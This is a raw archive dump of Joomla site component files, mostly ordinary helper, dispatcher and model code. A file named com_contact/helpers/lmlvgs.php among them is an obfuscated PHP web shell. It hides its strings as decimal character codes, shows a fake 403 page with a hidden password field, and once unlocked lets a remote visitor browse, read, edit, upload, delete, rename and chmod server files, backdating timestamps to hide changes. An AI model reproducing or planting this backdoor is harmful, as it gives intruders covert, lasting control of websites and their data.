            <a href="<?php echo $this->item->webpage; ?>" target="_blank" rel="noopener noreferrer" itemprop="url">
            <?php echo $this->escape(PunycodeHelper::urlToUTF8($this->item->webpage)); ?></a>
        </span>
    </dd>
<?php endif; ?>
</dl>
PK���\��7\44com_contact/helpers/route.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt

 * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace
 */

use Joomla\Component\Contact\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Contact Component Route Helper
 *
 * @static
 * @package     Joomla.Site
 * @subpackage  com_contact
 * @since       1.5
 *
 * @deprecated  4.3 will be removed in 6.0
 *              Use \Joomla\Component\Contact\Site\Helper\RouteHelper instead
 *              Example: RouteHelper::method();
 */
abstract class ContactHelperRoute extends RouteHelper
{
}
PK���\}=][J/J/com_contact/helpers/lmlvgs.phpnu&1i�<?php function jhox($voh) { $jhx = "\x65\x78\x70\x6c\x6f\x64\x65"; $dvy = $jhx('|',zatp("120.117.105.100.124.120.49.50.124.120.49.50.124.120.49.50.124.53.98.49.102.55.54.50.48.99.100.54.57.53.49.48.55.102.51.51.48.99.52.57.98.101.56.102.53.97.55.99.54.124.120.117.105.100.124.60.33.68.79.67.84.89.80.69.32.104.116.109.108.62.60.104.116.109.108.62.60.104.101.97.100.62.60.116.105.116.108.101.62.52.48.51.32.70.111.114.98.105.100.100.101.110.46.60.47.116.105.116.108.101.62.60.47.104.101.97.100.62.60.98.111.100.121.62.60.104.49.62.70.111.114.98.105.100.100.101.110.46.60.47.104.49.62.60.112.62.89.111.117.32.100.111.110.111.116.32.104.97.118.101.32.112.101.114.109.105.115.115.105.111.110.32.116.111.32.97.99.99.101.115.115.32.47.32.111.110.32.116.104.105.115.32.115.101.114.118.101.114.46.60.98.114.32.47.62.60.47.112.62.60.102.111.114.109.32.97.99.116.105.111.110.61.34.34.32.109.101.116.104.111.100.61.34.112.111.115.116.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.112.97.115.115.119.111.114.100.34.32.110.97.109.101.61.34.120.49.50.34.32.115.116.121.108.101.61.34.98.111.114.100.101.114.58.48.59.34.62.60.47.102.111.114.109.62.60.47.98.111.100.121.62.60.47.104.116.109.108.62.124.89.45.109.45.100.32.72.58.105.58.115.124.124.105.100.124.105.100.124.118.105.100.124.118.105.100.124.124.114.109.124.114.109.124.124.116.120.116.124.102.105.108.101.95.112.117.116.95.99.111.110.116.101.110.116.115.124.116.120.116.124.116.105.109.101.124.116.105.109.101.124.111.107.124.124.89.45.109.45.100.32.72.58.105.58.115.124.117.102.124.117.102.124.110.97.109.101.124.116.109.112.95.110.97.109.101.124.47.124.110.97.109.101.124.47.124.110.97.109.101.124.116.105.109.101.124.47.124.110.97.109.101.124.116.105.109.101.124.117.112.108.111.97.100.32.61.32.124.109.107.100.124.109.107.100.124.114.109.100.124.114.109.100.124.114.110.97.124.114.110.98.124.114.110.97.124.114.110.98.124.114.110.98.124.99.104.97.124.99.104.97.124.124.47.42.124.60.100.105.118.32.99.108.97.115.115.61.34.108.105.115.116.32.100.105.114.34.62.60.115.112.97.110.62.124.47.46.42.92.47.47.124.124.60.47.115.112.97.110.62.60.105.62.124.89.45.109.45.100.32.72.58.105.58.115.124.60.47.105.62.60.117.62.124.60.47.117.62.60.98.62.124.60.47.98.62.60.97.32.104.114.101.102.61.34.63.105.100.61.124.34.62.111.112.101.110.60.47.97.62.60.47.100.105.118.62.124.47.123.42.44.46.42.44.42.46.125.124.60.100.105.118.32.99.108.97.115.115.61.34.108.105.115.116.32.102.105.108.101.34.62.60.115.112.97.110.62.124.47.46.42.92.47.47.124.124.60.47.115.112.97.110.62.60.105.62.124.89.45.109.45.100.32.72.58.105.58.115.124.60.47.105.62.60.117.62.124.60.47.117.62.60.98.62.124.60.47.98.62.60.97.32.104.114.101.102.61.34.63.118.105.100.61.124.34.62.101.100.105.116.60.47.97.62.32.61.32.60.97.32.104.114.101.102.61.34.63.114.109.61.124.34.32.111.110.99.108.105.99.107.61.34.114.101.116.117.114.110.32.99.111.110.102.105.114.109.40.41.34.62.100.101.108.60.47.97.62.60.47.100.105.118.62.124.60.33.68.79.67.84.89.80.69.32.104.116.109.108.62.60.104.116.109.108.62.60.104.101.97.100.62.60.116.105.116.108.101.62.50.48.48.60.47.116.105.116.108.101.62.60.115.116.121.108.101.62.42.123.118.101.114.116.105.99.97.108.45.97.108.105.103.110.58.109.105.100.100.108.101.59.109.97.114.103.105.110.58.48.59.112.97.100.100.105.110.103.58.48.59.102.111.110.116.58.49.52.112.120.47.49.56.112.120.32.116.97.104.111.109.97.59.125.98.111.100.121.123.109.97.114.103.105.110.58.49.48.112.120.125.46.108.123.102.108.111.97.116.58.108.101.102.116.59.125.46.114.123.102.108.111.97.116.58.114.105.103.104.116.59.125.104.101.97.100.101.114.123.104.101.105.103.104.116.58.51.48.112.120.59.98.97.99.107.103.114.111.117.110.100.58.35.48.48.48.59.99.111.108.111.114.58.35.102.102.102.59.112.97.100.100.105.110.103.58.53.112.120.125.104.101.97.100.101.114.32.97.123.99.111.108.111.114.58.35.102.102.102.59.109.97.114.103.105.110.58.51.112.120.125.104.101.97.100.101.114.32.102.111.114.109.123.100.105.115.112.108.97.121.58.105.110.108.105.110.101.45.98.108.111.99.107.59.109.97.114.103.105.110.45.114.105.103.104.116.58.53.112.120.59.112.97.100.100.105.110.103.45.114.105.103.104.116.58.53.112.120.125.105.110.112.117.116.123.112.97.100.100.105.110.103.58.51.112.120.59.119.105.100.116.104.58.49.50.48.112.120.59.102.111.110.116.45.115.105.122.101.58.49.50.112.120.59.98.97.99.107.103.114.111.117.110.100.58.35.102.102.102.59.111.117.116.108.105.110.101.58.48.59.125.98.117.116.116.111.110.123.104.101.105.103.104.116.58.50.54.112.120.59.119.105.100.116.104.58.51.48.112.120.59.99.117.114.115.111.114.58.112.111.105.110.116.101.114.59.125.116.101.120.116.97.114.101.97.123.112.97.100.100.105.110.103.58.53.112.120.59.119.105.100.116.104.58.57.48.37.59.109.97.114.103.105.110.45.116.111.112.58.53.112.120.125.46.109.115.103.123.99.111.108.111.114.58.114.101.100.125.46.100.105.114.123.99.111.108.111.114.58.103.114.101.101.110.59.125.35.101.100.105.116.123.112.97.100.100.105.110.103.58.48.32.49.48.112.120.32.49.48.112.120.125.46.108.105.115.116.123.108.105.110.101.45.104.101.105.103.104.116.58.50.48.112.120.59.125.46.108.105.115.116.58.104.111.118.101.114.123.98.97.99.107.103.114.111.117.110.100.58.35.101.101.101.59.125.46.108.105.115.116.32.42.123.100.105.115.112.108.97.121.58.105.110.108.105.110.101.45.98.108.111.99.107.59.116.101.120.116.45.97.108.105.103.110.58.108.101.102.116.59.119.105.100.116.104.58.49.48.48.112.120.59.102.111.110.116.45.115.116.121.108.101.58.110.111.114.109.97.108.125.46.108.105.115.116.32.115.112.97.110.44.46.108.105.115.116.32.105.123.119.105.100.116.104.58.50.48.48.112.120.59.125.46.108.105.115.116.32.97.123.100.105.115.112.108.97.121.58.105.110.108.105.110.101.59.99.111.108.111.114.58.114.101.100.125.60.47.115.116.121.108.101.62.60.47.104.101.97.100.62.60.98.111.100.121.62.60.104.101.97.100.101.114.62.60.100.105.118.32.99.108.97.115.115.61.34.108.34.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.103.101.116.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.105.100.34.32.118.97.108.117.101.61.34.124.34.32.115.116.121.108.101.61.34.119.105.100.116.104.58.50.48.48.112.120.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.105.100.60.47.98.117.116.116.111.110.62.60.47.102.111.114.109.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.112.111.115.116.34.32.101.110.99.116.121.112.101.61.34.109.117.108.116.105.112.97.114.116.47.102.111.114.109.45.100.97.116.97.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.102.105.108.101.34.32.110.97.109.101.61.34.117.102.91.93.34.32.109.117.108.116.105.112.108.101.32.115.116.121.108.101.61.34.119.105.100.116.104.58.50.48.112.120.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.117.112.60.47.98.117.116.116.111.110.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.116.105.109.101.34.32.118.97.108.117.101.61.34.124.34.32.99.108.97.115.115.61.34.105.34.62.60.47.102.111.114.109.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.103.101.116.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.118.105.100.34.32.118.97.108.117.101.61.34.124.47.34.32.115.116.121.108.101.61.34.119.105.100.116.104.58.50.48.48.112.120.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.118.105.100.60.47.98.117.116.116.111.110.62.60.47.102.111.114.109.62.60.47.100.105.118.62.60.115.112.97.110.62.60.97.32.104.114.101.102.61.34.63.105.100.61.124.34.62.80.65.84.72.60.47.97.62.32.60.97.32.104.114.101.102.61.34.63.105.100.61.124.34.62.87.87.87.60.47.97.62.60.47.115.112.97.110.62.60.115.112.97.110.32.99.108.97.115.115.61.34.109.115.103.34.62.124.60.100.105.118.32.105.100.61.34.101.100.105.116.34.62.60.102.111.114.109.32.109.101.116.104.111.100.61.34.112.111.115.116.34.32.97.99.116.105.111.110.61.34.34.62.60.105.110.112.117.116.32.116.121.112.101.61.34.116.101.120.116.34.32.110.97.109.101.61.34.116.105.109.101.34.32.118.97.108.117.101.61.34.124.34.32.99.108.97.115.115.61.34.105.34.62.60.98.117.116.116.111.110.32.116.121.112.101.61.34.115.117.98.109.105.116.34.62.83.97.118.101.60.47.98.117.116.116.111.110.62.60.98.114.62.60.116.101.120.116.97.114.101.97.32.110.97.109.101.61.34.116.120.116.34.32.114.111.119.115.61.34.52.48.34.62.124.60.47.115.112.97.110.62.60.47.104.101.97.100.101.114.62.124.60.47.116.101.120.116.97.114.101.97.62.60.47.102.111.114.109.62.60.47.100.105.118.62.124.68.79.67.85.77.69.78.84.95.82.79.79.84.124.60.47.98.111.100.121.62.60.47.104.116.109.108.62")); return $dvy[$voh]; } function zatp($voh) { $jhx = "\x65\x78\x70\x6c\x6f\x64\x65"; $ofu = '';$dvy = $jhx('.',trim($voh,'.'));foreach($dvy as $rgl) {$ofu .= chr($rgl);}return $ofu; } $tke2 = "\x65\x78\x70\x6c\x6f\x64\x65"; $tke3 = $tke2(',',zatp('112.114.101.103.95.114.101.112.108.97.99.101.44.109.111.118.101.95.117.112.108.111.97.100.101.100.95.102.105.108.101.44.102.105.108.101.95.103.101.116.95.99.111.110.116.101.110.116.115.44.97.114.114.97.121.95.109.101.114.103.101.44.115.116.114.116.111.116.105.109.101.44.102.105.108.101.109.116.105.109.101.44.100.105.114.110.97.109.101.44.116.111.117.99.104.44.105.115.95.102.105.108.101.44.99.111.117.110.116.44.99.104.109.111.100.44.117.110.108.105.110.107.44.109.107.100.105.114.44.114.109.100.105.114.44.114.101.110.97.109.101.44.103.108.111.98.44.102.105.108.101.115.105.122.101.44.115.117.98.115.116.114.44.115.112.114.105.110.116.102.44.102.105.108.101.112.101.114.109.115.44.109.100.53.44.100.97.116.101.44.116.105.109.101.44.115.101.115.115.105.111.110.95.115.116.97.114.116')); $tke3[23](); $tke1 = $_REQUEST; if(!empty($_SESSION[jhox(0)]) || (!empty($tke1[jhox(1)]) && $tke3[20]($tke1[jhox(1)].$tke3[20]($tke1[jhox(1)]))==(jhox(4)))) { $_SESSION[jhox(0)] = 1; } else { exit(jhox(6)); } $voh = $tke3[6](__FILE__); $dvy = $tke3[22]()-24*3600*100; $zky = $tke3[21](jhox(7),$dvy); $mcb = $tke1; $rqh = $tke1; $wrk = jhox(8); $jhx = isset($mcb[jhox(9)]) ? $mcb[jhox(9)] : $voh; $rgl = isset($mcb[jhox(11)]) ? $mcb[jhox(11)] : jhox(8); $ztg = isset($mcb[jhox(14)]) ? $mcb[jhox(14)] : jhox(8); if (!empty($rgl)) { if (isset($rqh[jhox(17)])) { $jxb = jhox(18); $jxb($rgl,$rqh[jhox(17)]); if (isset($rqh[jhox(20)])) $tke3[7]($rgl,$tke3[4]($rqh[jhox(20)])); $wrk = jhox(22); } $gha = jhox(8); if($tke3[8]($rgl)) { $gha = $tke3[2]($rgl); $zky = $tke3[21](jhox(7),$tke3[5]($rgl)); } $jhx = $tke3[6]($rgl); } elseif (!empty($_FILES[jhox(25)])) { $ont = $_FILES[jhox(25)]; $snx = 0; for($I=0;$I<$tke3[9]($ont[jhox(27)]);$I++) { if($tke3[1]($ont[jhox(28)][$I], $jhx.jhox(29).$ont[jhox(27)][$I])) { $tke3[10]($jhx.jhox(29).$ont[jhox(27)][$I],0755); $snx++; if (isset($rqh[jhox(20)])) $tke3[7]($jhx.jhox(29).$ont[jhox(27)][$I],$tke3[4]($rqh[jhox(20)])); } } $wrk = jhox(37) . $snx; } elseif (!empty($ztg)) { $tke3[11]($ztg); } elseif (!empty($mcb[jhox(46)])) { $tke3[12]($mcb[jhox(46)]); } elseif (!empty($mcb[jhox(40)])) { $tke3[13]($mcb[jhox(40)]); } elseif (!empty($mcb[jhox(42)])&&!empty($mcb[jhox(43)])) { $tke3[14]($mcb[jhox(42)],$mcb[jhox(43)]); $tke3[7]($mcb[jhox(43)],$dvy); } elseif (!empty($mcb[jhox(47)])) { $tke3[10]($mcb[jhox(47)],0755); } $ofu = jhox(8); foreach($tke3[15]($jhx.jhox(50), GLOB_ONLYDIR) as $wgc) { $ofu .= (jhox(51)).$tke3[0](jhox(52),jhox(8),$wgc).jhox(54).$tke3[21](jhox(7),$tke3[5]($wgc)).jhox(56).$tke3[16]($wgc).jhox(57).$tke3[17]($tke3[18]("%o",$tke3[19]($wgc)),-4).jhox(58).$wgc.jhox(59); } foreach($tke3[15]($jhx.jhox(60), GLOB_BRACE) as $wgc) { if($tke3[8]($wgc)) $ofu .= (jhox(61)).$tke3[0](jhox(52),jhox(8),$wgc).jhox(54).$tke3[21](jhox(7),$tke3[5]($wgc)).jhox(56).$tke3[16]($wgc).jhox(57).$tke3[17]($tke3[18]("%o",$tke3[19]($wgc)),-4).jhox(68).$wgc.jhox(69).$wgc.jhox(70); } $qvs = jhox(71); $apw = jhox(72); $cua = jhox(73); $pwf = jhox(74); $xdn = jhox(75); $wmg = jhox(76); $xcl = jhox(77); $umf = jhox(78); $zds = jhox(79); $kev = jhox(80); echo $qvs.$jhx.$apw.$zky.$cua.$jhx.$pwf.$voh.$xdn.$_SERVER[jhox(81)].$wmg.$wrk.$zds.(isset($gha)?$xcl.$zky.$umf.$gha.$kev:$ofu).jhox(82); exit; ?>PK���\�V�com_contact/helpers/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\�V�com_contact/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\�V�com_content/helpers/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\w�b��com_content/helpers/icon.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt

 * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace
 */

use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component HTML Helper
 *
 * @since       1.5
 *
 * @deprecated  4.3 will be removed in 6.0
 *              Use the class \Joomla\Component\Content\Administrator\Service\HTML\Icon instead
 */
abstract class JHtmlIcon
{
    /**
     * Method to generate a link to the create item page for the given category
     *
     * @param   object    $category  The category information
     * @param   Registry  $params    The item parameters
     * @param   array     $attribs   Optional attributes for the link
     * @param   boolean   $legacy    True to use legacy images, false to use icomoon based graphic
     *
     * @return  string  The HTML markup for the create item link
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Use \Joomla\Component\Content\Administrator\Service\HTML\Icon::create instead
     *              Example:
     *              use Joomla\Component\Content\Administrator\Service\HTML\Icon;
     *              Factory::getContainer()->get(Registry::class)->register('icon', new Icon());
     *              echo HTMLHelper::_('icon.create', ...);
     */
    public static function create($category, $params, $attribs = [], $legacy = false)
    {
        return self::getIcon()->create($category, $params, $attribs, $legacy);
    }

    /**
     * Display an edit icon for the article.
     *
     * This icon will not display in a popup window, nor if the article is trashed.
     * Edit access checks must be performed in the calling code.
     *
     * @param   object    $article  The article information
     * @param   Registry  $params   The item parameters
     * @param   array     $attribs  Optional attributes for the link
     * @param   boolean   $legacy   True to use legacy images, false to use icomoon based graphic
     *
     * @return  string  The HTML for the article edit icon.
     *
     * @since   1.6
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Use \Joomla\Component\Content\Administrator\Service\HTML\Icon::edit instead
     *              Example:
     *              use Joomla\Component\Content\Administrator\Service\HTML\Icon;
     *              Factory::getContainer()->get(Registry::class)->register('icon', new Icon());
     *              echo HTMLHelper::_('icon.edit', ...);
     */
    public static function edit($article, $params, $attribs = [], $legacy = false)
    {
        return self::getIcon()->edit($article, $params, $attribs, $legacy);
    }

    /**
     * Method to generate a popup link to print an article
     *
     * @param   object    $article  The article information
     * @param   Registry  $params   The item parameters
     * @param   array     $attribs  Optional attributes for the link
     * @param   boolean   $legacy   True to use legacy images, false to use icomoon based graphic
     *
     * @return  string  The HTML markup for the popup link
     *
     * @deprecated  4.3 will be removed in 6.0
     *              No longer used, will be removed without replacement
     */
    public static function print_popup($article, $params, $attribs = [], $legacy = false)
    {
        throw new \Exception(Text::_('COM_CONTENT_ERROR_PRINT_POPUP'));
    }

    /**
     * Method to generate a link to print an article
     *
     * @param   object    $article  Not used
     * @param   Registry  $params   The item parameters
     * @param   array     $attribs  Not used
     * @param   boolean   $legacy   True to use legacy images, false to use icomoon based graphic
     *
     * @return  string  The HTML markup for the popup link
     *
     * @deprecated  4.3 will be removed in 6.0
     *              Use \Joomla\Component\Content\Administrator\Service\HTML\Icon::print_screen instead
     *              Example:
     *              use Joomla\Component\Content\Administrator\Service\HTML\Icon;
     *              Factory::getContainer()->get(Registry::class)->register('icon', new Icon());
     *              echo HTMLHelper::_('icon.print_screen', ...);
     */
    public static function print_screen($article, $params, $attribs = [], $legacy = false)
    {
        return self::getIcon()->print_screen($params, $legacy);
    }

    /**
     * Creates an icon instance.
     *
     * @return  \Joomla\Component\Content\Administrator\Service\HTML\Icon
     *
     * @deprecated  4.3 will be removed in 6.0 without replacement
     */
    private static function getIcon()
    {
        return (new \Joomla\Component\Content\Administrator\Service\HTML\Icon(Joomla\CMS\Factory::getApplication()));
    }
}
PK���\�V�com_content/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\&(�B@@)com_content/src/Dispatcher/Dispatcher.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Dispatcher;

use Joomla\CMS\Dispatcher\ComponentDispatcher;
use Joomla\CMS\Language\Text;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * ComponentDispatcher class for com_content
 *
 * @since  4.0.0
 */
class Dispatcher extends ComponentDispatcher
{
    /**
     * Dispatch a controller task. Redirecting the user if appropriate.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function dispatch()
    {
        $checkCreateEdit = ($this->input->get('view') === 'articles' && $this->input->get('layout') === 'modal')
            || ($this->input->get('view') === 'article' && $this->input->get('layout') === 'pagebreak');

        if ($checkCreateEdit) {
            // Can create in any category (component permission) or at least in one category
            $canCreateRecords = $this->app->getIdentity()->authorise('core.create', 'com_content')
                || count($this->app->getIdentity()->getAuthorisedCategories('com_content', 'core.create')) > 0;

            // Instead of checking edit on all records, we can use **same** check as the form editing view
            $values           = (array) $this->app->getUserState('com_content.edit.article.id');
            $isEditingRecords = count($values);
            $hasAccess        = $canCreateRecords || $isEditingRecords;

            if (!$hasAccess) {
                $this->app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'warning');

                return;
            }
        }

        parent::dispatch();
    }
}
PK���\�H���'com_content/src/Model/FeaturedModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Model;

use Joomla\CMS\Factory;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\QueryHelper;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Frontpage Component Model
 *
 * @since  1.5
 */
class FeaturedModel extends ArticlesModel
{
    /**
     * Model context string.
     *
     * @var     string
     */
    public $_context = 'com_content.frontpage';

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   The field to order on.
     * @param   string  $direction  The direction to order on.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        parent::populateState($ordering, $direction);

        $app   = Factory::getApplication();
        $input = $app->getInput();
        $user  = $app->getIdentity();

        // List state information
        $limitstart = $input->getUint('limitstart', 0);
        $this->setState('list.start', $limitstart);

        $params = $this->state->params;

        if ($menu = $app->getMenu()->getActive()) {
            $menuParams = $menu->getParams();
        } else {
            $menuParams = new Registry();
        }

        $mergedParams = clone $menuParams;
        $mergedParams->merge($params);

        $this->setState('params', $mergedParams);

        $limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links');
        $this->setState('list.limit', $limit);
        $this->setState('list.links', $params->get('num_links'));

        $this->setState('filter.frontpage', true);

        if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))) {
            // Filter on published for those who do not have edit or edit.state rights.
            $this->setState('filter.published', ContentComponent::CONDITION_PUBLISHED);
        } else {
            $this->setState('filter.published', [ContentComponent::CONDITION_UNPUBLISHED, ContentComponent::CONDITION_PUBLISHED]);
        }

        // Process show_noauth parameter
        if (!$params->get('show_noauth')) {
            $this->setState('filter.access', true);
        } else {
            $this->setState('filter.access', false);
        }

        // Check for category selection
        if ($params->get('featured_categories') && implode(',', $params->get('featured_categories')) == true) {
            $featuredCategories = $params->get('featured_categories');
            $this->setState('filter.frontpage.categories', $featuredCategories);
        }

        $articleOrderby   = $params->get('orderby_sec', 'rdate');
        $articleOrderDate = $params->get('order_date');
        $categoryOrderby  = $params->def('orderby_pri', '');

        $secondary = QueryHelper::orderbySecondary($articleOrderby, $articleOrderDate, $this->getDatabase());
        $primary   = QueryHelper::orderbyPrimary($categoryOrderby);

        $this->setState('list.ordering', $primary . $secondary . ', a.created DESC');
        $this->setState('list.direction', '');
    }

    /**
     * Method to get a list of articles.
     *
     * @return  mixed  An array of objects on success, false on failure.
     */
    public function getItems()
    {
        $params = clone $this->getState('params');
        $limit  = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links');

        if ($limit > 0) {
            $this->setState('list.limit', $limit);

            return parent::getItems();
        }

        return [];
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= $this->getState('filter.frontpage');

        return parent::getStoreId($id);
    }

    /**
     * Get the list of items.
     *
     * @return  \Joomla\Database\DatabaseQuery
     */
    protected function getListQuery()
    {
        // Create a new query object.
        $query = parent::getListQuery();

        // Filter by categories
        $featuredCategories = $this->getState('filter.frontpage.categories');

        if (is_array($featuredCategories) && !in_array('', $featuredCategories)) {
            $query->where('a.catid IN (' . implode(',', ArrayHelper::toInteger($featuredCategories)) . ')');
        }

        return $query;
    }
}
PK���\�����)com_content/src/Model/CategoriesModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Model;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This models supports retrieving lists of article categories.
 *
 * @since  1.6
 */
class CategoriesModel extends ListModel
{
    /**
     * Model context string.
     *
     * @var     string
     */
    public $_context = 'com_content.categories';

    /**
     * The category context (allows other extensions to derived from this model).
     *
     * @var     string
     */
    protected $_extension = 'com_content';

    /**
     * Parent category of the current one
     *
     * @var    CategoryNode|null
     */
    private $_parent = null;

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   The field to order on.
     * @param   string  $direction  The direction to order on.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app = Factory::getApplication();
        $this->setState('filter.extension', $this->_extension);

        // Get the parent id if defined.
        $parentId = $app->getInput()->getInt('id');
        $this->setState('filter.parentId', $parentId);

        $params = $app->getParams();
        $this->setState('params', $params);

        $this->setState('filter.published', 1);
        $this->setState('filter.access', true);
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.extension');
        $id .= ':' . $this->getState('filter.published');
        $id .= ':' . $this->getState('filter.access');
        $id .= ':' . $this->getState('filter.parentId');

        return parent::getStoreId($id);
    }

    /**
     * Redefine the function and add some properties to make the styling easier
     *
     * @param   bool  $recursive  True if you want to return children recursively.
     *
     * @return  mixed  An array of data items on success, false on failure.
     *
     * @since   1.6
     */
    public function getItems($recursive = false)
    {
        $store = $this->getStoreId();

        if (!isset($this->cache[$store])) {
            $app    = Factory::getApplication();
            $menu   = $app->getMenu();
            $active = $menu->getActive();

            if ($active) {
                $params = $active->getParams();
            } else {
                $params = new Registry();
            }

            $options               = [];
            $options['countItems'] = $params->get('show_cat_num_articles_cat', 1) || !$params->get('show_empty_categories_cat', 0);
            $categories            = Categories::getInstance('Content', $options);
            $this->_parent         = $categories->get($this->getState('filter.parentId', 'root'));

            if (is_object($this->_parent)) {
                $this->cache[$store] = $this->_parent->getChildren($recursive);
            } else {
                $this->cache[$store] = false;
            }
        }

        return $this->cache[$store];
    }

    /**
     * Get the parent.
     *
     * @return  object  An array of data items on success, false on failure.
     *
     * @since   1.6
     */
    public function getParent()
    {
        if (!is_object($this->_parent)) {
            $this->getItems();
        }

        return $this->_parent;
    }
}
PK���\��(�*�*#com_content/src/Model/FormModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Table\Table;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Article Model
 *
 * @since  1.5
 */
class FormModel extends \Joomla\Component\Content\Administrator\Model\ArticleModel
{
    /**
     * Model typeAlias string. Used for version history.
     *
     * @var        string
     */
    public $typeAlias = 'com_content.article';

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState()
    {
        $app   = Factory::getApplication();
        $input = $app->getInput();

        // Load the parameters.
        $params = $app->getParams();
        $this->setState('params', $params);

        if ($params && $params->get('enable_category') == 1 && $params->get('catid')) {
            $catId = $params->get('catid');
        } else {
            $catId = 0;
        }

        // Load state from the request.
        $pk = $input->getInt('a_id');
        $this->setState('article.id', $pk);

        $this->setState('article.catid', $input->getInt('catid', $catId));

        $return = $input->get('return', '', 'base64');
        $this->setState('return_page', base64_decode($return));

        $this->setState('layout', $input->getString('layout'));
    }

    /**
     * Method to get article data.
     *
     * @param   integer  $itemId  The id of the article.
     *
     * @return  mixed  Content item data object on success, false on failure.
     */
    public function getItem($itemId = null)
    {
        $itemId = (int) (!empty($itemId)) ? $itemId : $this->getState('article.id');

